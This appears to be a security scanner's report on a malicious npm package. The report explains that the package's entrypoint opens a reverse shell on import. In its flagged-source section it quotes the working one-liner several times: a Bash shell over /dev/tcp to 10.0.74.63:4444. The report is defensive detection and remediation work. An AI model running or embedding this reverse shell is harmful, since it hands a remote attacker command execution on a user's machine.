registry / Remote code execution / internallib_v756
internallib_v756
This report shows the evidence for internallib_v756@1.0.7, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiDirect source inspection confirms immediate, non-user-invoked reverse-shell behavior in the runtime entrypoint. Absence of lifecycle hooks does not mitigate import-time remote command access.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Any runtime require/import resolving the package main entrypoint.
Impact
Remote host can obtain command execution as the consuming process user.
Mechanism
child_process.execSync Bash reverse shell
Attack narrative
The declared main entrypoint runs immediately on package import. It invokes /bin/bash with an interactive-shell command redirected through /dev/tcp/10.0.74.63/4444, providing the remote listener an interactive shell under the host process identity.
AI rationale
Direct source inspection confirms immediate, non-user-invoked reverse-shell behavior in the runtime entrypoint. Absence of lifecycle hooks does not mitigate import-time remote command access.
Evidence
package.jsonindex.jscheck.js
Network endpoints1
10.0.74.63:4444
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- index.js imports child_process and synchronously runs Bash.
- The command opens an interactive Bash reverse shell to 10.0.74.63:4444.
- This executes immediately when the declared main entrypoint is required.
Evidence against
- package.json contains no npm lifecycle hook.
Behavioral surface
ChildProcessShell
Trivial
Source & flagged code
6 flagged · loading sourceindex.jsView file
1const child = require('child_process')
L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
index.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> index.js
L1: const child = require('child_process')
L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L11const child = require('child_process')
L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')
High
1const child = require('child_process')
L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')
Findings
2 Critical4 High1 Low
CriticalReverse Shellindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighChild Processindex.js
HighShellindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
LowScripts Present
Affected versions and remediation
This report applies to internallib_v756@1.0.7.
The versions list below shows the verdict for each recorded version.
- Avoid installing internallib_v756@1.0.7. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.